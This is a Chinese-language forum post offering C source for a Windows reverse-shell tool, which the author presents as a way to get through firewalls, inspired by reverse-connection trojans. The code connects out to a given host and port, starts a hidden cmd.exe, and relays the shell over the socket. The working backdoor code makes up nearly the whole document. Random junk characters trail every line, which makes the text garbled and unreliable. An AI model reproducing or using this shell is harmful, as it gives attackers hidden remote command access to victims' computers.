这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o-/Xa[yC
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/* ============================== IX-ir
Rebound port in Windows NT VTD'D+t
By wind,2006/7 m\j'7mZ1
===============================*/ 6N6d[t"
#include t+ Fm?
#include xez~Yw2
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#pragma comment(lib,"wsock32.lib") y\ Zx{A[
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void OutputShell(); 3TO$J
SOCKET sClient; !x|Ok'izDL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *y7^4I-J
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void main(int argc,char **argv) ]Y:|%rvVH
{ /)6<`S(
WSADATA stWsaData; 3%'$AM}+s
int nRet; )j!22tlL
SOCKADDR_IN stSaiClient,stSaiServer; NfKi,^O
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if(argc != 3) wn5CaP(]8
{ ->:G+<
printf("Useage:\n\rRebound DestIP DestPort\n"); 2{g~6U.
return; Hb IRE
} K6_{AuL}4
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WSAStartup(MAKEWORD(2,2),&stWsaData); H7*/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #O qfyY!
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stSaiClient.sin_family = AF_INET; @ScH"I];uA
stSaiClient.sin_port = htons(0); Id|38
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1+v)#Wj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Kp8!^os
{ ;E(%s=i
printf("Bind Socket Failed!\n"); <SbW
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return; $D\SueZ
} G5?Dt-;I
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stSaiServer.sin_family = AF_INET; @~xNax&^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4)i/B99k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /N]?>[<NW
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PO]z'LD
{ cYq<.A(hVj
printf("Connect Error!"); yiiYq(\{
return; 80LKxA;5N
} b\ F(.8
OutputShell(); Mo0+"`
} &Nt4dp`qj
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void OutputShell() OcwD<Xy
{ S~/zBFo-
char szBuff[1024]; 2/x+7F}w5
SECURITY_ATTRIBUTES stSecurityAttributes; ZFY t[:
OSVERSIONINFO stOsversionInfo; .{*V^[.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;}ileLTl
STARTUPINFO stStartupInfo; O3PE
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char *szShell; 2D,9$ 0k_]
PROCESS_INFORMATION stProcessInformation; A#\NVN8sk
unsigned long lBytesRead; m:.ywiw=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?`3`azfM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f)~urGazS
stSecurityAttributes.lpSecurityDescriptor = 0; DI"mi1ObE
stSecurityAttributes.bInheritHandle = TRUE; Rku9? zf^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $RfM}!7?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XL1v&'HLV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5\A[ra
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Ug?k<h7|
stStartupInfo.wShowWindow = SW_HIDE; ^duNEu0*
stStartupInfo.hStdInput = hReadPipe; ,nD:W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @YHB>rNf(7
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GetVersionEx(&stOsversionInfo); KW]/u
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switch(stOsversionInfo.dwPlatformId) 51u8.%{4
{ !U/iY%NE
case 1: ]g2Y/\)a
szShell = "command.com"; qCi6kEr
break; %(79;#2`
default: 2j+v\pjYC
szShell = "cmd.exe"; }Zu>?U
break; xv4_q-r[
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _=Ed>2M)no
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send(sClient,szMsg,77,0); 8%nb1CA
while(1) .^6"nnfA#
{ 2;VggPpT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z?kLAhy!
if(lBytesRead) C:
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{ WLma)L`L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9
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send(sClient,szBuff,lBytesRead,0); -{dsl|Dl
} `9}\kn-</8
else -
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{ wws)**]J8
lBytesRead=recv(sClient,szBuff,1024,0); l*T>9yC
if(lBytesRead<=0) break; ;I1}g]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hqd}L~o:
} `j{q$Y=AG
} uO%G,b
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return; po~V{>fUm
}